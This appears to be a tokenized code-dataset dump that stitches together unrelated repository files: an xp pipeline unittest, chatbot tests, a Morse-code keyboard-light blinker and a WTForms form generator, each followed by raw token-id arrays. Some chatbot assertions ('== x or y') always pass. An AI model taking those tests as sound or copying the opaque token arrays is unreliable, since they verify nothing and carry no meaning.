3317, 29922, 29906, 29945, 29897, 2314, 13, 1678, 1967, 353, 3497, 3073, 877, 2940, 3497, 1495, 13, 13, 1990, 7084, 2500, 29898, 2500, 1125, 13, 1678, 1967, 353, 3497, 3073, 877, 2940, 3497, 1495, 13, 2 ]
xp/tests/task_properties.py
druths/xp
46
66288
""" Copyright 2016 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import unittest from xp.pipeline import get_pipeline, USE_FILE_PREFIX import xp.pipeline as pipeline import os, os.path BASE_PATH = os.path.dirname(__file__) def get_complete_filename(fname): return os.path.join(BASE_PATH,'pipelines',fname) class TaskPropertiesTestCase(unittest.TestCase): def test_one_property(self): p = get_pipeline(get_complete_filename('one_property'),default_prefix=USE_FILE_PREFIX) t1 = p.get_task('my_task') props = t1.properties() self.assertEqual(len(props),1) self.assertEqual(props['author'],'<NAME>')
[ 1, 9995, 13, 11882, 1266, 29871, 29906, 29900, 29896, 29953, 529, 5813, 29958, 13, 13, 29931, 293, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1496, 13, 6293, 1122, 451, 671, 445, 934, 5174, 297, 752, 13036, 411, 278, 19245, 29889, 13, 3492, 1122, 4017, 263, 3509, 310, 278, 19245, 472, 13, 13, 1678, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 13, 2525, 2222, 3734, 491, 22903, 4307, 470, 15502, 304, 297, 5007, 29892, 7047, 13, 5721, 7541, 1090, 278, 19245, 338, 13235, 373, 385, 376, 3289, 8519, 29908, 350, 3289, 3235, 29892, 13, 29956, 1806, 8187, 2692, 399, 1718, 29934, 13566, 29059, 6323, 8707, 29928, 22122, 29903, 8079, 13764, 29979, 476, 22255, 29892, 2845, 4653, 470, 2411, 2957, 29889, 13, 13393, 278, 19245, 363, 278, 2702, 4086, 14765, 1076, 11239, 322, 13, 13400, 800, 1090, 278, 19245, 29889, 13, 15945, 29908, 13, 13, 5215, 443, 27958, 13, 3166, 921, 29886, 29889, 13096, 5570, 1053, 679, 29918, 13096, 5570, 29892, 501, 1660, 29918, 7724, 29918, 15094, 25634, 13, 5215, 921, 29886, 29889, 13096, 5570, 408, 16439, 13, 5215, 2897, 29892, 2897, 29889, 2084, 13, 13, 25416, 29918, 10145, 353, 2897, 29889, 2084, 29889, 25721, 22168, 1445, 1649, 29897, 13, 13, 1753, 679, 29918, 8835, 29918, 9507, 29898, 29888, 978, 1125, 13, 12, 2457, 2897, 29889, 2084, 29889, 7122, 29898, 25416, 29918, 10145, 5501, 13096, 24210, 742, 29888, 978, 29897, 13, 13, 1990, 9330, 11857, 3057, 8259, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 12, 13, 12, 1753, 1243, 29918, 650, 29918, 6799, 29898, 1311, 1125, 13, 12, 12, 29886, 353, 679, 29918, 13096, 5570, 29898, 657, 29918, 8835, 29918, 9507, 877, 650, 29918, 6799, 5477, 4381, 29918, 13506, 29922, 17171, 29918, 7724, 29918, 15094, 25634, 29897, 13, 13, 12, 12, 29873, 29896, 353, 282, 29889, 657, 29918, 7662, 877, 1357, 29918, 7662, 1495, 13, 12, 12, 11030, 353, 260, 29896, 29889, 11330, 580, 13, 13, 12, 12, 1311, 29889, 9294, 9843, 29898, 2435, 29898, 11030, 511, 29896, 29897, 13, 12, 12, 1311, 29889, 9294, 9843, 29898, 11030, 1839, 8921, 7464, 29915, 29966, 5813, 29958, 1495, 13, 13, 2 ]
nlp/test_chatbot.py
gary-ai/gary-docker
0
1602872
import numpy as np from chatbot import clean_up_sentence from chatbot import bow from chatbot import classify from chatbot import chat_response def test_clean_up_hello_sentence_(): assert clean_up_sentence("Hi, HoW are you?!") == ['hi', ',', 'how', 'ar', 'you', '?', '!'] def test_bow_with_no_equality_(): assert bow("test", ["plop"]) == [0] def test_bow_with_one_equality_(): assert bow("test", ["test"]) == [1] def test_classify_greeting_sentence_(): assert classify("Hi")[0][0] == "greeting" def test_classify_shutter_sentence_(): assert classify("bye")[0][0] == "goodbye" def test_classify_camera_sentence_(): assert classify("camera")[0][0] == "take_photo" def test_classify_light_sentence_(): assert classify("light")[0][0] == "hue" def test_classify_type_greeting_(): assert type(classify("hi")[0][1]) == np.float32 def test_classify_type_thanks_(): assert type(classify("thanks")[0][1]) == np.float32 def test_classify_type_hue_(): assert type(classify("hue")[0][1]) == np.float32 def test_classify_type_rollers_(): assert type(classify("rollers")[0][1]) == np.float32 def test_chat_greeting_response_(): assert chat_response("Hi, HoW are you?!") == "Good to see you again" or "Hello, thanks for visiting" \ or "Hi there, how can I help?" def test_chat_camera_response_(): assert chat_response("camera") == "exec camera_photo" def test_chat_thanks_response_(): assert chat_response("thanks") == "Happy to help!" or "Any time!" or "My pleasure" def test_chat_light_response_(): assert chat_response("philips hue") == "Ok, what mood do you want ?" def test_contextual_hue_response_(): assert chat_response("philips hue") == "Ok, what mood do you want ?" assert chat_response("relax") == "exec hue_relax" def test_contextual_shutter_response_(): assert chat_response("shutter") == "Ok, do you want to open, close or stop ?" assert chat_response("open") == "exec open_shutter"
[ 1, 1053, 12655, 408, 7442, 13, 13, 3166, 13563, 7451, 1053, 5941, 29918, 786, 29918, 18616, 663, 13, 3166, 13563, 7451, 1053, 12580, 13, 3166, 13563, 7451, 1053, 770, 1598, 13, 3166, 13563, 7451, 1053, 13563, 29918, 5327, 13, 13, 13, 1753, 1243, 29918, 14941, 29918, 786, 29918, 12199, 29918, 18616, 663, 29918, 7295, 13, 1678, 4974, 5941, 29918, 786, 29918, 18616, 663, 703, 18567, 29892, 8335, 29956, 526, 366, 29973, 29991, 1159, 1275, 6024, 2918, 742, 13420, 742, 525, 3525, 742, 525, 279, 742, 525, 6293, 742, 525, 29973, 742, 525, 29991, 2033, 13, 13, 13, 1753, 1243, 29918, 17729, 29918, 2541, 29918, 1217, 29918, 13895, 29918, 7295, 13, 1678, 4974, 12580, 703, 1688, 613, 6796, 29886, 4757, 20068, 1275, 518, 29900, 29962, 13, 13, 13, 1753, 1243, 29918, 17729, 29918, 2541, 29918, 650, 29918, 13895, 29918, 7295, 13, 1678, 4974, 12580, 703, 1688, 613, 6796, 1688, 20068, 1275, 518, 29896, 29962, 13, 13, 13, 1753, 1243, 29918, 1990, 1598, 29918, 29887, 4521, 292, 29918, 18616, 663, 29918, 7295, 13, 1678, 4974, 770, 1598, 703, 18567, 1159, 29961, 29900, 3816, 29900, 29962, 1275, 376, 29887, 4521, 292, 29908, 13, 13, 13, 1753, 1243, 29918, 1990, 1598, 29918, 845, 6463, 29918, 18616, 663, 29918, 7295, 13, 1678, 4974, 770, 1598, 703, 26966, 1159, 29961, 29900, 3816, 29900, 29962, 1275, 376, 16773, 26966, 29908, 13, 13, 13, 1753, 1243, 29918, 1990, 1598, 29918, 26065, 29918, 18616, 663, 29918, 7295, 13, 1678, 4974, 770, 1598, 703, 26065, 1159, 29961, 29900, 3816, 29900, 29962, 1275, 376, 19730, 29918, 21596, 29908, 13, 13, 13, 1753, 1243, 29918, 1990, 1598, 29918, 4366, 29918, 18616, 663, 29918, 7295, 13, 1678, 4974, 770, 1598, 703, 4366, 1159, 29961, 29900, 3816, 29900, 29962, 1275, 376, 29882, 434, 29908, 13, 13, 13, 1753, 1243, 29918, 1990, 1598, 29918, 1853, 29918, 29887, 4521, 292, 29918, 7295, 13, 1678, 4974, 1134, 29898, 1990, 1598, 703, 2918, 1159, 29961, 29900, 3816, 29896, 2314, 1275, 7442, 29889, 7411, 29941, 29906, 13, 13, 13, 1753, 1243, 29918, 1990, 1598, 29918, 1853, 29918, 386, 1331, 29918, 7295, 13, 1678, 4974, 1134, 29898, 1990, 1598, 703, 386, 1331, 1159, 29961, 29900, 3816, 29896, 2314, 1275, 7442, 29889, 7411, 29941, 29906, 13, 13, 13, 1753, 1243, 29918, 1990, 1598, 29918, 1853, 29918, 29882, 434, 29918, 7295, 13, 1678, 4974, 1134, 29898, 1990, 1598, 703, 29882, 434, 1159, 29961, 29900, 3816, 29896, 2314, 1275, 7442, 29889, 7411, 29941, 29906, 13, 13, 13, 1753, 1243, 29918, 1990, 1598, 29918, 1853, 29918, 11897, 29918, 7295, 13, 1678, 4974, 1134, 29898, 1990, 1598, 703, 11897, 1159, 29961, 29900, 3816, 29896, 2314, 1275, 7442, 29889, 7411, 29941, 29906, 13, 13, 13, 1753, 1243, 29918, 13496, 29918, 29887, 4521, 292, 29918, 5327, 29918, 7295, 13, 1678, 4974, 13563, 29918, 5327, 703, 18567, 29892, 8335, 29956, 526, 366, 29973, 29991, 1159, 1275, 376, 18420, 304, 1074, 366, 1449, 29908, 470, 376, 10994, 29892, 3969, 363, 6493, 292, 29908, 320, 13, 965, 470, 376, 18567, 727, 29892, 920, 508, 306, 1371, 3026, 13, 13, 13, 1753, 1243, 29918, 13496, 29918, 26065, 29918, 5327, 29918, 7295, 13, 1678, 4974, 13563, 29918, 5327, 703, 26065, 1159, 1275, 376, 4258, 10656, 29918, 21596, 29908, 13, 13, 13, 1753, 1243, 29918, 13496, 29918, 386, 1331, 29918, 5327, 29918, 7295, 13, 1678, 4974, 13563, 29918, 5327, 703, 386, 1331, 1159, 1275, 376, 29950, 14862, 304, 1371, 3850, 470, 376, 10773, 931, 3850, 470, 376, 3421, 15377, 29908, 13, 13, 13, 1753, 1243, 29918, 13496, 29918, 4366, 29918, 5327, 29918, 7295, 13, 1678, 4974, 13563, 29918, 5327, 703, 561, 2638, 567, 298, 434, 1159, 1275, 376, 20434, 29892, 825, 286, 2092, 437, 366, 864, 1577, 29908, 13, 13, 13, 1753, 1243, 29918, 4703, 950, 29918, 29882, 434, 29918, 5327, 29918, 7295, 13, 1678, 4974, 13563, 29918, 5327, 703, 561, 2638, 567, 298, 434, 1159, 1275, 376, 20434, 29892, 825, 286, 2092, 437, 366, 864, 1577, 29908, 13, 1678, 4974, 13563, 29918, 5327, 703, 27480, 1159, 1275, 376, 4258, 298, 434, 29918, 27480, 29908, 13, 13, 13, 1753, 1243, 29918, 4703, 950, 29918, 845, 6463, 29918, 5327, 29918, 7295, 13, 1678, 4974, 13563, 29918, 5327, 703, 845, 6463, 1159, 1275, 376, 20434, 29892, 437, 366, 864, 304, 1722, 29892, 3802, 470, 5040, 1577, 29908, 13, 1678, 4974, 13563, 29918, 5327, 703, 3150, 1159, 1275, 376, 4258, 1722, 29918, 845, 6463, 29908, 13, 2 ]
funny_morse/key.py
nkpro2000sr/funny-morse
1
186359
import time from pynput import keyboard import morse WPM = morse.WPM FS = morse.FS def info(): print("Keyboard :") print(" None") def main(message, wpm=-1, fs=-1, key="caps"): wpm = WPM if wpm == -1 else wpm fs = FS if fs == -1 else fs code = morse.stringToMorse(message) flip_intervals = morse.morseToFlipIntervals(code, wpm, fs) Keys(flip_intervals, key) class Keys(keyboard.Controller): def __init__(self, flip_intervals, key="caps"): self.flip_intervals = flip_intervals self.previous = False if key == "num": self.key = keyboard.Key.num_lock elif key == "scroll": self.key = keyboard.Key.scroll_lock else: self.key = keyboard.Key.caps_lock super().__init__() self.update() def flip(self): self.press(self.key) self.release(self.key) def update(self): for sleep in self.flip_intervals: time.sleep(sleep / 1000) self.flip()
[ 1, 1053, 931, 13, 3166, 282, 948, 649, 1053, 12247, 13, 13, 5215, 3036, 344, 13, 13, 29956, 13427, 353, 3036, 344, 29889, 29956, 13427, 13, 9998, 353, 3036, 344, 29889, 9998, 13, 13, 13, 1753, 5235, 7295, 13, 1678, 1596, 703, 2558, 3377, 584, 1159, 13, 1678, 1596, 703, 6213, 1159, 13, 13, 13, 1753, 1667, 29898, 4906, 29892, 281, 3358, 10457, 29896, 29892, 18920, 10457, 29896, 29892, 1820, 543, 29883, 2547, 29908, 1125, 13, 1678, 281, 3358, 353, 399, 13427, 565, 281, 3358, 1275, 448, 29896, 1683, 281, 3358, 13, 1678, 18920, 353, 383, 29903, 565, 18920, 1275, 448, 29896, 1683, 18920, 13, 1678, 775, 353, 3036, 344, 29889, 1807, 1762, 28581, 344, 29898, 4906, 29897, 13, 1678, 285, 3466, 29918, 19207, 29879, 353, 3036, 344, 29889, 12257, 344, 1762, 29943, 3466, 12506, 29879, 29898, 401, 29892, 281, 3358, 29892, 18920, 29897, 13, 1678, 4813, 952, 29898, 29888, 3466, 29918, 19207, 29879, 29892, 1820, 29897, 13, 13, 13, 1990, 4813, 952, 29898, 1989, 3377, 29889, 2956, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 285, 3466, 29918, 19207, 29879, 29892, 1820, 543, 29883, 2547, 29908, 1125, 13, 4706, 1583, 29889, 29888, 3466, 29918, 19207, 29879, 353, 285, 3466, 29918, 19207, 29879, 13, 4706, 1583, 29889, 24957, 353, 7700, 13, 4706, 565, 1820, 1275, 376, 1949, 1115, 13, 9651, 1583, 29889, 1989, 353, 12247, 29889, 2558, 29889, 1949, 29918, 908, 13, 4706, 25342, 1820, 1275, 376, 10510, 1115, 13, 9651, 1583, 29889, 1989, 353, 12247, 29889, 2558, 29889, 10510, 29918, 908, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 1989, 353, 12247, 29889, 2558, 29889, 29883, 2547, 29918, 908, 13, 4706, 2428, 2141, 1649, 2344, 1649, 580, 13, 4706, 1583, 29889, 5504, 580, 13, 13, 1678, 822, 285, 3466, 29898, 1311, 1125, 13, 4706, 1583, 29889, 2139, 29898, 1311, 29889, 1989, 29897, 13, 4706, 1583, 29889, 14096, 29898, 1311, 29889, 1989, 29897, 13, 13, 1678, 822, 2767, 29898, 1311, 1125, 13, 4706, 363, 8709, 297, 1583, 29889, 29888, 3466, 29918, 19207, 29879, 29901, 13, 9651, 931, 29889, 17059, 29898, 17059, 847, 29871, 29896, 29900, 29900, 29900, 29897, 13, 9651, 1583, 29889, 29888, 3466, 580, 13, 2 ]
loris/app/autoscripting/form_creater.py
gucky92/loris
1
53628
"""Class to dynamically create the different forms in the config file """ import os from wtforms import ( BooleanField, SelectField, StringField, FloatField, IntegerField, FormField, TextAreaField, FieldList, DecimalField ) from wtforms.validators import InputRequired, Optional, NumberRange, \ ValidationError, Length, UUID, URL, Email from flask_wtf import FlaskForm as Form from wtforms import Form as NoCsrfForm from werkzeug.utils import secure_filename import glob import pandas as pd from loris import config from loris.app.forms import NONES from loris.app.forms.formmixin import ( DynamicFileField, DictField, ListField, JsonSerializableValidator, Extension, FormMixin ) from loris.app.autoscripting.utils import ( json_reader, array_reader, recarray_reader, frame_reader, series_reader, EnumReader, ListReader, TupleReader, DictReader, DbReader ) from loris.errors import LorisError class AutoscriptedField: def __init__(self, key, value, folderpath): self.key = key self.folderpath = folderpath if isinstance(value, (str, list)): self.value = value self.description = None self.default = None self.required = True self.iterate = None self.loc = None elif isinstance(value, dict): truth = set(value) - {'type', 'comment', 'default', 'loc', 'iterate'} if truth: raise LorisError( 'Key in dynamic auto-generated form contains ' f'illegal keywords: {truth}.' ) if 'type' not in value: raise LorisError( 'Must provide type key for dynamic auto-generated form; ' f'only provided these keys for "{key}": {set(value)}.' ) self.value = value.get('type') self.description = value.get('comment', None) self.default = value.get('default', None) self.required = ( 'default' not in value or value.get('default', None) is not None) self.loc = value.get('loc', None) self.iterate = value.get('iterate', False) else: LorisError(f"value is wrong type {type(value)}") self.get_field() def get_field(self): """get initialized field """ self.field, self.post_process = self._get_field( self.key, self.value, self.required, self.default, self.description, self.iterate, self.loc, self.folderpath ) @staticmethod def file_processing(value): if value == 'numpy.array': post_process = array_reader elif value == 'numpy.recarray': post_process = recarray_reader elif value == 'pandas.DataFrame': post_process = frame_reader elif value == 'pandas.Series': post_process = series_reader elif value == 'json': post_process = json_reader else: return lambda x: x return post_process @classmethod def _get_field( cls, key, value, required, default, description, iterate, loc, folderpath ): """get initialized field """ def post_process(x): return x if required: kwargs = { 'validators': [InputRequired()], 'render_kw': {'nullable': False} } else: kwargs = { 'validators': [Optional()], 'render_kw': {'nullable': True} } kwargs['default'] = default kwargs['label'] = key.replace('_', ' ') kwargs['description'] = (key if description is None else description) if loc is None and not isinstance(value, dict): if value == 'list': kwargs['validators'].append(JsonSerializableValidator(list)) field = ListField(**kwargs) elif value == 'dict': kwargs['validators'].append(JsonSerializableValidator(dict)) field = DictField(**kwargs) elif value == 'str': field = StringField(**kwargs) elif value == 'set': kwargs['validators'].append(JsonSerializableValidator(list)) post_process = set field = ListField(**kwargs) elif value == 'tuple': kwargs['validators'].append(JsonSerializableValidator(list)) post_process = tuple field = ListField(**kwargs) elif value == 'int': field = IntegerField(**kwargs) elif value == 'float': field = FloatField(**kwargs) elif value == 'bool': kwargs['validators'] = [Optional()] field = BooleanField(**kwargs) elif value == 'numpy.array': kwargs['validators'].append(Extension()) post_process = cls.file_processing(value) field = DynamicFileField(**kwargs) elif value == 'numpy.recarray': kwargs['validators'].append(Extension()) post_process = cls.file_processing(value) field = DynamicFileField(**kwargs) elif value == 'pandas.DataFrame': kwargs['validators'].append(Extension()) post_process = cls.file_processing(value) field = DynamicFileField(**kwargs) elif value == 'pandas.Series': kwargs['validators'].append(Extension()) post_process = cls.file_processing(value) field = DynamicFileField(**kwargs) elif value == 'json': kwargs['validators'].append(Extension(['json'])) post_process = cls.file_processing(value) field = DynamicFileField(**kwargs) elif value == 'file': kwargs['validators'].append( Extension(config['attach_extensions'])) field = DynamicFileField(**kwargs) elif isinstance(value, list): choices = [ str(ele).strip().strip('"').strip("'") for ele in value ] post_process = EnumReader(value, choices) if default is None and not required: choices = ['NULL'] + choices kwargs['choices'] = [(ele, ele) for ele in choices] field = SelectField(**kwargs) else: raise LorisError( f"field value {value} not accepted for {key}." ) elif loc is not None and value == 'database': if not isinstance(loc, list) or not len(loc) == 2: raise LorisError( f"If type '{value}' then loc must be of type " "list with exactly two elements: " "1. the database table class. " "2. the columns to fetch for selected entry (str or list)." ) # get table from database table class name table = config.get_table_from_classname(loc[0]) columns = loc[1] # check columns if isinstance(columns, str) and columns not in table.heading: raise LorisError( f"Column '{columns}' not in table " f"{table.full_table_name}; cannot create field {key}." ) elif ( not isinstance(columns, str) and (set(columns) - set(table.heading)) ): raise LorisError( f"Columns '{set(columns) - set(table.heading)}' not " f"in table {table.full_table_name}; " f"cannot create field {key}." ) post_process = DbReader(table, columns) # create choices choices = table.proj().fetch() choices = [ (str(ele), str(ele)) if len(ele) > 1 else (str(ele), str(ele[0])) for ele in choices ] choices = sorted(choices) if default is None and not required: choices = [('NULL', 'NULL')] + choices kwargs['choices'] = choices field = SelectField(**kwargs) elif loc is not None and isinstance(value, str): loc = secure_filename(loc) locpath = os.path.join(folderpath, loc) # try up to three base directories down if not os.path.exists(locpath): # try main autoscript folder locpath = os.path.join(os.path.dirname(folderpath), loc) if not os.path.exists(locpath): locpath = os.path.join( os.path.dirname(os.path.dirname(folderpath)), loc ) if not os.path.exists(locpath): raise LorisError( f'Folder "{loc}" does not exist in ' f'autoscript folder ' f'"{os.path.basename(folderpath)}" ' f'and also not in the main autoscript folder.' ) # get all files from folder files = glob.glob(os.path.join(locpath, '*')) # only match certain extensions if (value == 'pandas.DataFrame') or (value == 'numpy.recarray'): files = [ ifile for ifile in files if ( ifile.endswith('.pkl') or ifile.endswith('.npy') or ifile.endswith('.csv') or ifile.endswith('.json') ) ] elif value == 'numpy.array': files = [ ifile for ifile in files if ( ifile.endswith('.pkl') or ifile.endswith('.npy') or ifile.endswith('.csv') ) ] elif (value == 'json') or (value == 'pandas.Series'): files = [ifile for ifile in files if ifile.endswith('.json')] else: # skip file that start with two underscores e.g. __init__.py files = [ ifile for ifile in files if not os.path.basename(ifile).startswith('__') ] # setup as choices choices = [ (str(ele), os.path.split(ele)[-1]) for ele in files ] # setup None choice if default is None and not required: choices = [('NULL', 'NULL')] + choices kwargs['choices'] = choices post_process = cls.file_processing(value) field = SelectField(**kwargs) elif isinstance(value, dict): form, post_process = dynamic_autoscripted_form( value, folderpath, NoCsrfForm ) field = FormField(form) # TODO set number of fieldlists (startswith numeric) else: raise LorisError(f"field value {value} not accepted for {key}.") # make iterator (can add multiple values together) if iterate: field = FieldList( field, min_entries=int(required) + 1 # have one required field if so ) post_process = ListReader(post_process) return field, post_process def dynamic_autoscripted_form(dictionary, folderpath, formclass=Form): post_process_dict = {} class DynamicForm(formclass, FormMixin): pass for key, value in dictionary.items(): # comments in the json or formatting guidelines start with _ if key.startswith('#'): continue if not key.isidentifier(): raise LorisError( f"key {key} is not an identifier; i.e. alphanumeric " "and underscore characters only. The key needs to be " "an identifier if it is used as a keyword during function " "calling." ) auto_field = AutoscriptedField( key, value, folderpath ) post_process_dict[key] = auto_field.post_process setattr( DynamicForm, key, auto_field.field ) return DynamicForm, DictReader(post_process_dict)
[ 1, 9995, 2385, 304, 11200, 1653, 278, 1422, 7190, 297, 278, 2295, 934, 13, 15945, 29908, 13, 13, 5215, 2897, 13, 3166, 281, 29873, 9514, 1053, 313, 13, 1678, 11185, 3073, 29892, 7605, 3073, 29892, 1714, 3073, 29892, 27842, 3073, 29892, 8102, 3073, 29892, 13, 1678, 3812, 3073, 29892, 3992, 13799, 3073, 29892, 8989, 1293, 29892, 3826, 3039, 3073, 13, 29897, 13, 3166, 281, 29873, 9514, 29889, 3084, 4097, 1053, 10567, 19347, 29892, 28379, 29892, 9681, 6069, 29892, 320, 13, 1678, 15758, 362, 2392, 29892, 365, 1477, 29892, 501, 11150, 29892, 3988, 29892, 22608, 13, 3166, 29784, 29918, 29893, 13264, 1053, 2379, 1278, 2500, 408, 3812, 13, 3166, 281, 29873, 9514, 1053, 3812, 408, 1939, 29907, 29879, 9600, 2500, 13, 3166, 23085, 13289, 29889, 13239, 1053, 11592, 29918, 9507, 13, 5215, 13149, 13, 5215, 11701, 408, 10518, 13, 13, 3166, 301, 29367, 1053, 2295, 13, 3166, 301, 29367, 29889, 932, 29889, 9514, 1053, 405, 1164, 2890, 13, 3166, 301, 29367, 29889, 932, 29889, 9514, 29889, 689, 28084, 262, 1053, 313, 13, 1678, 27747, 2283, 3073, 29892, 360, 919, 3073, 29892, 2391, 3073, 29892, 13, 1678, 14355, 9125, 13902, 24204, 29892, 7338, 2673, 29892, 3812, 29924, 861, 262, 13, 29897, 13, 3166, 301, 29367, 29889, 932, 29889, 1300, 359, 924, 292, 29889, 13239, 1053, 313, 13, 1678, 4390, 29918, 16950, 29892, 1409, 29918, 16950, 29892, 1162, 2378, 29918, 16950, 29892, 13, 1678, 3515, 29918, 16950, 29892, 3652, 29918, 16950, 29892, 1174, 398, 6982, 29892, 2391, 6982, 29892, 12603, 552, 6982, 29892, 13, 1678, 360, 919, 6982, 29892, 24331, 6982, 13, 29897, 13, 3166, 301, 29367, 29889, 12523, 1053, 10980, 275, 2392, 13, 13, 13, 1990, 5202, 359, 924, 287, 3073, 29901, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 1820, 29892, 995, 29892, 4138, 2084, 1125, 13, 4706, 1583, 29889, 1989, 353, 1820, 13, 4706, 1583, 29889, 12083, 2084, 353, 4138, 2084, 13, 13, 4706, 565, 338, 8758, 29898, 1767, 29892, 313, 710, 29892, 1051, 22164, 13, 9651, 1583, 29889, 1767, 353, 995, 13, 9651, 1583, 29889, 8216, 353, 6213, 13, 9651, 1583, 29889, 4381, 353, 6213, 13, 9651, 1583, 29889, 12403, 353, 5852, 13, 9651, 1583, 29889, 1524, 403, 353, 6213, 13, 9651, 1583, 29889, 2029, 353, 6213, 13, 4706, 25342, 338, 8758, 29898, 1767, 29892, 9657, 1125, 13, 9651, 8760, 353, 731, 29898, 1767, 29897, 448, 11117, 1853, 742, 525, 9342, 742, 525, 4381, 742, 525, 2029, 742, 525, 1524, 403, 10827, 13, 9651, 565, 8760, 29901, 13, 18884, 12020, 10980, 275, 2392, 29898, 13, 462, 1678, 525, 2558, 297, 7343, 4469, 29899, 13525, 883, 3743, 525, 13, 462, 1678, 285, 29915, 309, 12018, 29361, 29901, 426, 509, 2806, 1836, 29915, 13, 18884, 1723, 13, 9651, 565, 525, 1853, 29915, 451, 297, 995, 29901, 13, 18884, 12020, 10980, 275, 2392, 29898, 13, 462, 1678, 525, 29924, 504, 3867, 1134, 1820, 363, 7343, 4469, 29899, 13525, 883, 29936, 525, 13, 462, 1678, 285, 29915, 6194, 4944, 1438, 6611, 363, 29850, 1989, 29913, 1115, 426, 842, 29898, 1767, 29512, 29915, 13, 18884, 1723, 13, 9651, 1583, 29889, 1767, 353, 995, 29889, 657, 877, 1853, 1495, 13, 9651, 1583, 29889, 8216, 353, 995, 29889, 657, 877, 9342, 742, 6213, 29897, 13, 9651, 1583, 29889, 4381, 353, 995, 29889, 657, 877, 4381, 742, 6213, 29897, 13, 9651, 1583, 29889, 12403, 353, 313, 13, 18884, 525, 4381, 29915, 451, 297, 995, 13, 18884, 470, 995, 29889, 657, 877, 4381, 742, 6213, 29897, 338, 451, 6213, 29897, 13, 9651, 1583, 29889, 2029, 353, 995, 29889, 657, 877, 2029, 742, 6213, 29897, 13, 9651, 1583, 29889, 1524, 403, 353, 995, 29889, 657, 877, 1524, 403, 742, 7700, 29897, 13, 4706, 1683, 29901, 13, 9651, 10980, 275, 2392, 29898, 29888, 29908, 1767, 338, 2743, 1134, 426, 1853, 29898, 1767, 2915, 1159, 13, 13, 4706, 1583, 29889, 657, 29918, 2671, 580, 13, 13, 1678, 822, 679, 29918, 2671, 29898, 1311, 1125, 13, 4706, 9995, 657, 16601, 1746, 13, 4706, 9995, 13, 13, 4706, 1583, 29889, 2671, 29892, 1583, 29889, 2490, 29918, 5014, 353, 1583, 3032, 657, 29918, 2671, 29898, 13, 9651, 1583, 29889, 1989, 29892, 1583, 29889, 1767, 29892, 1583, 29889, 12403, 29892, 1583, 29889, 4381, 29892, 13, 9651, 1583, 29889, 8216, 29892, 1583, 29889, 1524, 403, 29892, 1583, 29889, 2029, 29892, 1583, 29889, 12083, 2084, 13, 4706, 1723, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 934, 29918, 19170, 29898, 1767, 1125, 13, 13, 4706, 565, 995, 1275, 525, 23749, 29889, 2378, 2396, 13, 9651, 1400, 29918, 5014, 353, 1409, 29918, 16950, 13, 4706, 25342, 995, 1275, 525, 23749, 29889, 3757, 2378, 2396, 13, 9651, 1400, 29918, 5014, 353, 1162, 2378, 29918, 16950, 13, 4706, 25342, 995, 1275, 525, 15112, 29889, 17271, 2396, 13, 9651, 1400, 29918, 5014, 353, 3515, 29918, 16950, 13, 4706, 25342, 995, 1275, 525, 15112, 29889, 19204, 2396, 13, 9651, 1400, 29918, 5014, 353, 3652, 29918, 16950, 13, 4706, 25342, 995, 1275, 525, 3126, 2396, 13, 9651, 1400, 29918, 5014, 353, 4390, 29918, 16950, 13, 4706, 1683, 29901, 13, 9651, 736, 14013, 921, 29901, 921, 13, 13, 4706, 736, 1400, 29918, 5014, 13, 13, 1678, 732, 1990, 5696, 13, 1678, 822, 903, 657, 29918, 2671, 29898, 13, 4706, 1067, 29879, 29892, 1820, 29892, 995, 29892, 3734, 29892, 2322, 29892, 6139, 29892, 13, 4706, 13649, 29892, 1180, 29892, 4138, 2084, 13, 268, 1125, 13, 4706, 9995, 657, 16601, 1746, 13, 4706, 9995, 13, 13, 4706, 822, 1400, 29918, 5014, 29898, 29916, 1125, 13, 9651, 736, 921, 13, 13, 4706, 565, 3734, 29901, 13, 9651, 9049, 5085, 353, 426, 13, 18884, 525, 3084, 4097, 2396, 518, 4290, 19347, 580, 1402, 13, 18884, 525, 9482, 29918, 11022, 2396, 11117, 4304, 519, 2396, 7700, 29913, 13, 9651, 500, 13, 4706, 1683, 29901, 13, 9651, 9049, 5085, 353, 426, 13, 18884, 525, 3084, 4097, 2396, 518, 27636, 580, 1402, 13, 18884, 525, 9482, 29918, 11022, 2396, 11117, 4304, 519, 2396, 5852, 29913, 13, 9651, 500, 13, 13, 4706, 9049, 5085, 1839, 4381, 2033, 353, 2322, 13, 4706, 9049, 5085, 1839, 1643, 2033, 353, 1820, 29889, 6506, 877, 29918, 742, 525, 25710, 13, 4706, 9049, 5085, 1839, 8216, 2033, 353, 313, 1989, 565, 6139, 338, 6213, 1683, 6139, 29897, 13, 13, 4706, 565, 1180, 338, 6213, 322, 451, 338, 8758, 29898, 1767, 29892, 9657, 1125, 13, 9651, 565, 995, 1275, 525, 1761, 2396, 13, 18884, 9049, 5085, 1839, 3084, 4097, 13359, 4397, 29898, 8148, 9125, 13902, 24204, 29898, 1761, 876, 13, 18884, 1746, 353, 2391, 3073, 29898, 1068, 19290, 29897, 13, 9651, 25342, 995, 1275, 525, 8977, 2396, 13, 18884, 9049, 5085, 1839, 3084, 4097, 13359, 4397, 29898, 8148, 9125, 13902, 24204, 29898, 8977, 876, 13, 18884, 1746, 353, 360, 919, 3073, 29898, 1068, 19290, 29897, 13, 9651, 25342, 995, 1275, 525, 710, 2396, 13, 18884, 1746, 353, 1714, 3073, 29898, 1068, 19290, 29897, 13, 9651, 25342, 995, 1275, 525, 842, 2396, 13, 18884, 9049, 5085, 1839, 3084, 4097, 13359, 4397, 29898, 8148, 9125, 13902, 24204, 29898, 1761, 876, 13, 18884, 1400, 29918, 5014, 353, 731, 13, 18884, 1746, 353, 2391, 3073, 29898, 1068, 19290, 29897, 13, 9651, 25342, 995, 1275, 525, 23583, 2396, 13, 18884, 9049, 5085, 1839, 3084, 4097, 13359, 4397, 29898, 8148, 